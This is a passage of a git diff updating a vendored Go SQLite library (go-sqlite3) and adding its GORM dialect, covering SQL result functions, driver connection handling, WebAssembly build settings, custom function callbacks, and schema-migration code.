https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultText(value string) { + ptr := c.newString(value) + c.call(c.api.resultText, + uint64(c.handle), uint64(ptr), uint64(len(value)), + uint64(c.api.destructor), _UTF8) +} + +// ResultBlob sets the result of the function to a []byte. +// Returning a nil slice is the same as calling [Context.ResultNull]. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultBlob(value []byte) { + ptr := c.newBytes(value) + c.call(c.api.resultBlob, + uint64(c.handle), uint64(ptr), uint64(len(value)), + uint64(c.api.destructor)) +} + +// BindZeroBlob sets the result of the function to a zero-filled, length n BLOB. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultZeroBlob(n int64) { + c.call(c.api.resultZeroBlob, + uint64(c.handle), uint64(n)) +} + +// ResultNull sets the result of the function to NULL. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultNull() { + c.call(c.api.resultNull, + uint64(c.handle)) +} + +// ResultTime sets the result of the function to a [time.Time]. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultTime(value time.Time, format TimeFormat) { + if format == TimeFormatDefault { + c.resultRFC3339Nano(value) + return + } + switch v := format.Encode(value).(type) { + case string: + c.ResultText(v) + case int64: + c.ResultInt64(v) + case float64: + c.ResultFloat(v) + default: + panic(util.AssertErr()) + } +} + +func (c Context) resultRFC3339Nano(value time.Time) { + const maxlen = uint64(len(time.RFC3339Nano)) + + ptr := c.new(maxlen) + buf := util.View(c.mod, ptr, maxlen) + buf = value.AppendFormat(buf[:0], time.RFC3339Nano) + + c.call(c.api.resultText, + uint64(c.handle), uint64(ptr), uint64(len(buf)), + uint64(c.api.destructor), _UTF8) +} + +// ResultError sets the result of the function an error. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultError(err error) { + if errors.Is(err, NOMEM) { + c.call(c.api.resultErrorMem, uint64(c.handle)) + return + } + + if errors.Is(err, TOOBIG) { + c.call(c.api.resultErrorBig, uint64(c.handle)) + return + } + + str := err.Error() + ptr := c.newString(str) + c.call(c.api.resultError, + uint64(c.handle), uint64(ptr), uint64(len(str))) + c.free(ptr) + + var code uint64 + var ecode ErrorCode + var xcode xErrorCode + switch { + case errors.As(err, &xcode): + code = uint64(xcode) + case errors.As(err, &ecode): + code = uint64(ecode) + } + if code != 0 { + c.call(c.api.resultErrorCode, + uint64(c.handle), code) + } +} diff --git a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go index f027c4ee9c..4dc8182e05 100644 --- a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go +++ b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go @@ -14,10 +14,9 @@ // // [PRAGMA] statements can be specified using "_pragma": // -// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)") // -// If no PRAGMAs are specified, a busy timeout of 1 minute -// and normal locking mode are used. +// If no PRAGMAs are specified, a busy timeout of 1 minute is set. // // Order matters: // busy timeout and locking mode should be the first PRAGMAs set, in that order. @@ -53,9 +52,14 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { if err != nil { return nil, err } + defer func() { + if err != nil { + c.Close() + } + }() + var pragmas bool c.txBegin = "BEGIN" - var pragmas []string if strings.HasPrefix(name, "file:") { if _, after, ok := strings.Cut(name, "?"); ok { query, _ := url.ParseQuery(after) @@ -66,20 +70,15 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { case "deferred", "immediate", "exclusive": c.txBegin = "BEGIN " + s default: - c.Close() return nil, fmt.Errorf("sqlite3: invalid _txlock: %s", s) } - pragmas = query["_pragma"] + pragmas = len(query["_pragma"]) > 0 } } - if len(pragmas) == 0 { - err := c.Conn.Exec(` - PRAGMA busy_timeout=60000; - PRAGMA locking_mode=normal; - `) + if !pragmas { + err = c.Conn.Exec(`PRAGMA busy_timeout=60000`) if err != nil { - c.Close() return nil, err } c.reusable = true @@ -90,7 +89,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { PRAGMA_query_only; `) if err != nil { - c.Close() return nil, err } if s.Step() { @@ -99,7 +97,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { } err = s.Close() if err != nil { - c.Close() return nil, err } } @@ -259,9 +256,7 @@ func (s *stmt) Query(args []driver.Value) (driver.Rows, error) { } func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) { - // Use QueryContext to setup bindings. - // No need to close rows: that simply resets the statement, exec does the same. - _, err := s.QueryContext(ctx, args) + err := s.setupBindings(ctx, args) if err != nil { return nil, err } @@ -275,11 +270,20 @@ func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (drive } func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) { - err := s.Stmt.ClearBindings() + err := s.setupBindings(ctx, args) if err != nil { return nil, err } + return &rows{ctx, s.Stmt, s.Conn}, nil +} + +func (s *stmt) setupBindings(ctx context.Context, args []driver.NamedValue) error { + err := s.Stmt.ClearBindings() + if err != nil { + return err + } + var ids [3]int for _, arg := range args { ids := ids[:0] @@ -318,11 +322,10 @@ func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driv } } if err != nil { - return nil, err + return err } } - - return &rows{ctx, s.Stmt, s.Conn}, nil + return nil } func (s *stmt) CheckNamedValue(arg *driver.NamedValue) error { diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/README.md b/vendor/github.com/ncruces/go-sqlite3/embed/README.md index 06c488696b..a40f65e88e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/embed/README.md @@ -9,6 +9,7 @@ The following optional features are compiled in: - [JSON](https://www.sqlite.org/json1.html) - [R*Tree](https://www.sqlite.org/rtree.html) - [GeoPoly](https://www.sqlite.org/geopoly.html) +- [soundex](https://www.sqlite.org/lang_corefunc.html#soundex) - [base64](https://github.com/sqlite/sqlite/blob/master/ext/misc/base64.c) - [decimal](https://github.com/sqlite/sqlite/blob/master/ext/misc/decimal.c) - [regexp](https://github.com/sqlite/sqlite/blob/master/ext/misc/regexp.c) diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh index f461b2664f..a80a94a962 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh +++ b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh @@ -4,24 +4,27 @@ set -euo pipefail cd -P -- "$(dirname -- "$0")" ROOT=../ -BINARYEN="$ROOT/tools/binaryen-version_113/bin" +BINARYEN="$ROOT/tools/binaryen-version_114/bin" WASI_SDK="$ROOT/tools/wasi-sdk-20.0/bin" "$WASI_SDK/clang" --target=wasm32-wasi -flto -g0 -O2 \ -o sqlite3.wasm "$ROOT/sqlite3/main.c" \ -I"$ROOT/sqlite3" \ -mexec-model=reactor \ - -mmutable-globals \ + -msimd128 -mmutable-globals \ -mbulk-memory -mreference-types \ -mnontrapping-fptoint -msign-ext \ + -fno-stack-protector -fno-stack-clash-protection \ -Wl,--initial-memory=327680 \ -Wl,--stack-first \ -Wl,--import-undefined \ + -D_HAVE_SQLITE_CONFIG_H \ $(awk '{print "-Wl,--export="$0}' exports.txt) trap 'rm -f sqlite3.tmp' EXIT "$BINARYEN/wasm-ctor-eval" -g -c _initialize sqlite3.wasm -o sqlite3.tmp -"$BINARYEN/wasm-opt" -g -O2 sqlite3.tmp -o sqlite3.wasm \ - --enable-multivalue --enable-mutable-globals \ +"$BINARYEN/wasm-opt" -g --strip -c -O3 \ + sqlite3.tmp -o sqlite3.wasm \ + --enable-simd --enable-mutable-globals --enable-multivalue \ --enable-bulk-memory --enable-reference-types \ --enable-nontrapping-float-to-int --enable-sign-ext \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt index 2a07fc0c14..94bfa66c19 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt +++ b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt @@ -33,10 +33,10 @@ sqlite3_column_blob sqlite3_column_bytes sqlite3_blob_open sqlite3_blob_close +sqlite3_blob_reopen sqlite3_blob_bytes sqlite3_blob_read sqlite3_blob_write -sqlite3_blob_reopen sqlite3_backup_init sqlite3_backup_step sqlite3_backup_finish @@ -46,4 +46,29 @@ sqlite3_uri_parameter sqlite3_uri_key sqlite3_changes64 sqlite3_last_insert_rowid -sqlite3_get_autocommit \ No newline at end of file +sqlite3_get_autocommit +sqlite3_anycollseq_init +sqlite3_create_collation_go +sqlite3_create_function_go +sqlite3_create_aggregate_function_go +sqlite3_create_window_function_go +sqlite3_aggregate_context +sqlite3_user_data +sqlite3_set_auxdata_go +sqlite3_get_auxdata +sqlite3_value_type +sqlite3_value_int64 +sqlite3_value_double +sqlite3_value_text +sqlite3_value_blob +sqlite3_value_bytes +sqlite3_result_null +sqlite3_result_int64 +sqlite3_result_double +sqlite3_result_text64 +sqlite3_result_blob64 +sqlite3_result_zeroblob64 +sqlite3_result_error +sqlite3_result_error_code +sqlite3_result_error_nomem +sqlite3_result_error_toobig \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm index be6574a138..020d130a93 100644 Binary files a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm and b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm differ diff --git a/vendor/github.com/ncruces/go-sqlite3/error.go b/vendor/github.com/ncruces/go-sqlite3/error.go index 957a7440b7..c91dccd12f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/error.go +++ b/vendor/github.com/ncruces/go-sqlite3/error.go @@ -68,6 +68,19 @@ func (e *Error) Is(err error) bool { return false } +// As converts this error to an [ErrorCode] or [ExtendedErrorCode]. +func (e *Error) As(err any) bool { + switch c := err.(type) { + case *ErrorCode: + *c = e.Code() + return true + case *ExtendedErrorCode: + *c = e.ExtendedCode() + return true + } + return false +} + // Temporary returns true for [BUSY] errors. func (e *Error) Temporary() bool { return e.Code() == BUSY @@ -104,6 +117,15 @@ func (e ExtendedErrorCode) Is(err error) bool { return ok && c == ErrorCode(e) } +// As converts this error to an [ErrorCode]. +func (e ExtendedErrorCode) As(err any) bool { + c, ok := err.(*ErrorCode) + if ok { + *c = ErrorCode(e) + } + return ok +} + // Temporary returns true for [BUSY] errors. func (e ExtendedErrorCode) Temporary() bool { return ErrorCode(e) == BUSY diff --git a/vendor/github.com/ncruces/go-sqlite3/func.go b/vendor/github.com/ncruces/go-sqlite3/func.go new file mode 100644 index 0000000000..205943eb5f --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/func.go @@ -0,0 +1,186 @@ +package sqlite3 + +import ( + "context" + + "github.com/ncruces/go-sqlite3/internal/util" + "github.com/tetratelabs/wazero" + "github.com/tetratelabs/wazero/api" +) + +// AnyCollationNeeded registers a fake collating function +// for any unknown collating sequence. +// The fake collating function works like BINARY. +// +// This extension can be used to load schemas that contain +// one or more unknown collating sequences. +func (c *Conn) AnyCollationNeeded() { + c.call(c.api.anyCollation, uint64(c.handle), 0, 0) +} + +// CreateCollation defines a new collating sequence. +// +// https://www.sqlite.org/c3ref/create_collation.html +func (c *Conn) CreateCollation(name string, fn func(a, b []byte) int) error { + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + r := c.call(c.api.createCollation, + uint64(c.handle), uint64(namePtr), uint64(funcPtr)) + if err := c.error(r); err != nil { + util.DelHandle(c.ctx, funcPtr) + return err + } + return nil +} + +// CreateFunction defines a new scalar SQL function. +// +// https://www.sqlite.org/c3ref/create_function.html +func (c *Conn) CreateFunction(name string, nArg int, flag FunctionFlag, fn func(ctx Context, arg ...Value)) error { + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + r := c.call(c.api.createFunction, + uint64(c.handle), uint64(namePtr), uint64(nArg), + uint64(flag), uint64(funcPtr)) + return c.error(r) +} + +// CreateWindowFunction defines a new aggregate or aggregate window SQL function. +// If fn returns a [WindowFunction], then an aggregate window function is created. +// +// https://www.sqlite.org/c3ref/create_function.html +func (c *Conn) CreateWindowFunction(name string, nArg int, flag FunctionFlag, fn func() AggregateFunction) error { + call := c.api.createAggregate + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + if _, ok := fn().(WindowFunction); ok { + call = c.api.createWindow + } + r := c.call(call, + uint64(c.handle), uint64(namePtr), uint64(nArg), + uint64(flag), uint64(funcPtr)) + return c.error(r) +} + +// AggregateFunction is the interface an aggregate function should implement. +// +// https://www.sqlite.org/appfunc.html +type AggregateFunction interface { + // Step is invoked to add a row to the current window. + // The function arguments, if any, corresponding to the row being added are passed to Step. + Step(ctx Context, arg ...Value) + + // Value is invoked to return the current value of the aggregate. + Value(ctx Context) +} + +// WindowFunction is the interface an aggregate window function should implement. +// +// https://www.sqlite.org/windowfunctions.html +type WindowFunction interface { + AggregateFunction + + // Inverse is invoked to remove the oldest presently aggregated result of Step from the current window. + // The function arguments, if any, are those passed to Step for the row being removed. + Inverse(ctx Context, arg ...Value) +} + +func exportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder { + util.ExportFuncVI(env, "go_destroy", callbackDestroy) + util.ExportFuncIIIIII(env, "go_compare", callbackCompare) + util.ExportFuncVIII(env, "go_func", callbackFunc) + util.ExportFuncVIII(env, "go_step", callbackStep) + util.ExportFuncVI(env, "go_final", callbackFinal) + util.ExportFuncVI(env, "go_value", callbackValue) + util.ExportFuncVIII(env, "go_inverse", callbackInverse) + return env +} + +func callbackDestroy(ctx context.Context, mod api.Module, pApp uint32) { + util.DelHandle(ctx, pApp) +} + +func callbackCompare(ctx context.Context, mod api.Module, pApp, nKey1, pKey1, nKey2, pKey2 uint32) uint32 { + fn := util.GetHandle(ctx, pApp).(func(a, b []byte) int) + return uint32(fn(util.View(mod, pKey1, uint64(nKey1)), util.View(mod, pKey2, uint64(nKey2)))) +} + +func callbackFunc(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackHandle(sqlite, pCtx).(func(ctx Context, arg ...Value)) + fn(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackStep(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction) + fn.Step(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackFinal(ctx context.Context, mod api.Module, pCtx uint32) { + var handle uint32 + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, &handle).(AggregateFunction) + fn.Value(Context{sqlite, pCtx}) + if err := util.DelHandle(ctx, handle); err != nil { + Context{sqlite, pCtx}.ResultError(err) + } +} + +func callbackValue(ctx context.Context, mod api.Module, pCtx uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction) + fn.Value(Context{sqlite, pCtx}) +} + +func callbackInverse(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(WindowFunction) + fn.Inverse(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackHandle(sqlite *sqlite, pCtx uint32) any { + pApp := uint32(sqlite.call(sqlite.api.userData, uint64(pCtx))) + return util.GetHandle(sqlite.ctx, pApp) +} + +func callbackAggregate(sqlite *sqlite, pCtx uint32, close *uint32) any { + // On close, we're getting rid of the handle. + // Don't allocate space to store it. + var size uint64 + if close == nil { + size = ptrlen + } + ptr := uint32(sqlite.call(sqlite.api.aggregateCtx, uint64(pCtx), size)) + + // Try loading the handle, if we already have one, or want a new one. + if ptr != 0 || size != 0 { + if handle := util.ReadUint32(sqlite.mod, ptr); handle != 0 { + fn := util.GetHandle(sqlite.ctx, handle) + if close != nil { + *close = handle + } + if fn != nil { + return fn + } + } + } + + // Create a new aggregate and store the handle. + fn := callbackHandle(sqlite, pCtx).(func() AggregateFunction)() + if ptr != 0 { + util.WriteUint32(sqlite.mod, ptr, util.AddHandle(sqlite.ctx, fn)) + } + return fn +} + +func callbackArgs(sqlite *sqlite, nArg, pArg uint32) []Value { + args := make([]Value, nArg) + for i := range args { + args[i] = Value{ + sqlite: sqlite, + handle: util.ReadUint32(sqlite.mod, pArg+ptrlen*uint32(i)), + } + } + return args +} diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work b/vendor/github.com/ncruces/go-sqlite3/go.work new file mode 100644 index 0000000000..18e3785922 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/go.work @@ -0,0 +1,6 @@ +go 1.21 + +use ( + . + ./gormlite +) diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work.sum b/vendor/github.com/ncruces/go-sqlite3/go.work.sum new file mode 100644 index 0000000000..cf0b1d6783 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/go.work.sum @@ -0,0 +1,4 @@ +golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE new file mode 100644 index 0000000000..558c4ff6df --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE @@ -0,0 +1,22 @@ +MIT License + +Copyright (c) 2023 Nuno Cruces +Copyright (c) 2023 Jinzhu + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md new file mode 100644 index 0000000000..768a5b4029 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md @@ -0,0 +1,26 @@ +# GORM SQLite Driver + +[![Go Reference](https://pkg.go.dev/badge/image)](https://pkg.go.dev/github.com/ncruces/go-sqlite3/gormlite) + +## Usage + +```go +import ( + _ "github.com/ncruces/go-sqlite3/embed" + "github.com/ncruces/go-sqlite3/gormlite" + "gorm.io/gorm" +) + +db, err := gorm.Open(gormlite.Open("gorm.db"), &gorm.Config{}) +``` + +Checkout [https://gorm.io](https://gorm.io) for details. + +### Foreign-key constraint activation + +Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter: +```go +db, err := gorm.Open(gormlite.Open( + "file:gorm.db?_pragma=busy_timeout(10000)&_pragma=foreign_keys(1)"), + &gorm.Config{}) +``` \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go new file mode 100644 index 0000000000..69cd1791ff --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go @@ -0,0 +1,231 @@ +package gormlite + +import ( + "database/sql" + "errors" + "fmt" + "regexp" + "strconv" + "strings" + + "gorm.io/gorm/migrator" +) + +var ( + sqliteSeparator = "`|\"|'|\t" + indexRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\w\d-]+[%v]? ON (.*)$`, sqliteSeparator, sqliteSeparator)) + tableRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)(CREATE TABLE [%v]?[\w\d-]+[%v]?)(?:\s*\((.*)\))?`, sqliteSeparator, sqliteSeparator)) + separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator)) + columnsRegexp = regexp.MustCompile(fmt.Sprintf(`[(,][%v]?(\w+)[%v]?`, sqliteSeparator, sqliteSeparator)) + columnRegexp = regexp.MustCompile(fmt.Sprintf(`^[%v]?([\w\d]+)[%v]?\s+([\w\(\)\d]+)(.*)$`, sqliteSeparator, sqliteSeparator)) + defaultValueRegexp = regexp.MustCompile(`(?i) DEFAULT \(?(.+)?\)?( |COLLATE|GENERATED|$)`) + regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`) +) + +func getAllColumns(s string) []string { + allMatches := columnsRegexp.FindAllStringSubmatch(s, -1) + columns := make([]string, 0, len(allMatches)) + for _, matches := range allMatches { + if len(matches) > 1 { + columns = append(columns, matches[1]) + } + } + return columns +} + +type ddl struct { + head string + fields []string + columns []migrator.ColumnType +} + +func parseDDL(strs ...string) (*ddl, error) { + var result ddl + for _, str := range strs { + if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 { + var ( + ddlBody = sections[2] + ddlBodyRunes = []rune(ddlBody) + bracketLevel int + quote rune + buf string + ) + ddlBodyRunesLen := len(ddlBodyRunes) + + result.head = sections[1] + + for idx := 0; idx < ddlBodyRunesLen; idx++ { + var ( + next rune = 0 + c = ddlBodyRunes[idx] + ) + if idx+1 < ddlBodyRunesLen { + next = ddlBodyRunes[idx+1] + } + + if sc := string(c); separatorRegexp.MatchString(sc) { + if c == next { + buf += sc // Skip escaped quote + idx++ + } else if quote > 0 { + quote = 0 + } else { + quote = c + } + } else if quote == 0 { + if c == '(' { + bracketLevel++ + } else if c == ')' { + bracketLevel-- + } else if bracketLevel == 0 { + if c == ',' { + result.fields = append(result.fields, strings.TrimSpace(buf)) + buf = "" + continue + } + } + } + + if bracketLevel < 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + buf += string(c) + } + + if bracketLevel != 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + if buf != "" { + result.fields = append(result.fields, strings.TrimSpace(buf)) + } + + for _, f := range result.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") { + continue + } + + if strings.HasPrefix(fUpper, "PRIMARY KEY") { + for _, name := range getAllColumns(f) { + for idx, column := range result.columns { + if column.NameValue.String == name { + column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = column + break + } + } + } + } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 { + columnType := migrator.ColumnType{ + NameValue: sql.NullString{String: matches[1], Valid: true}, + DataTypeValue: sql.NullString{String: matches[2], Valid: true}, + ColumnTypeValue: sql.NullString{String: matches[2], Valid: true}, + PrimaryKeyValue: sql.NullBool{Valid: true}, + UniqueValue: sql.NullBool{Valid: true}, + NullableValue: sql.NullBool{Valid: true}, + DefaultValueValue: sql.NullString{Valid: false}, + } + + matchUpper := strings.ToUpper(matches[3]) + if strings.Contains(matchUpper, " NOT NULL") { + columnType.NullableValue = sql.NullBool{Bool: false, Valid: true} + } else if strings.Contains(matchUpper, " NULL") { + columnType.NullableValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " UNIQUE") { + columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " PRIMARY") { + columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + } + if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 { + if strings.ToLower(defaultMatches[1]) != "null" { + columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true} + } + } + + // data type length + matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1) + if len(matches) == 1 && len(matches[0]) == 2 { + size, _ := strconv.Atoi(matches[0][1]) + columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)} + columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0]) + } + + result.columns = append(result.columns, columnType) + } + } + } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 { + for _, column := range getAllColumns(matches[1]) { + for idx, c := range result.columns { + if c.NameValue.String == column { + c.UniqueValue = sql.NullBool{Bool: strings.ToUpper(strings.Fields(str)[1]) == "UNIQUE", Valid: true} + result.columns[idx] = c + } + } + } + } else { + return nil, errors.New("invalid DDL") + } + } + + return &result, nil +} + +func (d *ddl) compile() string { + if len(d.fields) == 0 { + return d.head + } + + return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ",")) +} + +func (d *ddl) addConstraint(name string, sql string) { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields[i] = sql + return + } + } + + d.fields = append(d.fields, sql) +} + +func (d *ddl) removeConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields = append(d.fields[:i], d.fields[i+1:]...) + return true + } + } + return false +} + +func (d *ddl) getColumns() []string { + res := []string{} + + for _, f := range d.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "PRIMARY KEY") || + strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") || + strings.Contains(fUpper, "GENERATED ALWAYS AS") { + continue + } + + reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?") + match := reg.FindStringSubmatch(f) + + if match != nil { + res = append(res, "`"+match[1]+"`") + } + } + return res +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh new file mode 100644 index 0000000000..fcf9a70bbf --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash +set -euo pipefail + +cd -P -- "$(dirname -- "$0")" + +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod_test.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/error_translator.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/migrator.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite_test.go" \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go new file mode 100644 index 0000000000..ac7a2d299d --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go @@ -0,0 +1,21 @@ +package gormlite + +import ( + "errors" + + "github.com/ncruces/go-sqlite3" + "gorm.io/gorm" +) + +func (dialector Dialector) Translate(err error) error { + switch { + case + errors.Is(err, sqlite3.CONSTRAINT_UNIQUE), + errors.Is(err, sqlite3.CONSTRAINT_PRIMARYKEY): + return gorm.ErrDuplicatedKey + case + errors.Is(err, sqlite3.CONSTRAINT_FOREIGNKEY): + return gorm.ErrForeignKeyViolated + } + return err +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go new file mode 100644 index 0000000000..9e2c4c907a --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go @@ -0,0 +1,431 @@ +package gormlite + +import ( + "database/sql" + "fmt" + "regexp" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +type Migrator struct { + migrator.Migrator +} + +func (m *Migrator) RunWithoutForeignKey(fc func() error) error { + var enabled int + m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled) + if enabled == 1 { + m.DB.Exec("PRAGMA foreign_keys = OFF") + defer m.DB.Exec("PRAGMA foreign_keys = ON") + } + + return fc() +} + +func (m Migrator) HasTable(value interface{}) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count) + }) + return count > 0 +} + +func (m Migrator) DropTable(values ...interface{}) error { + return 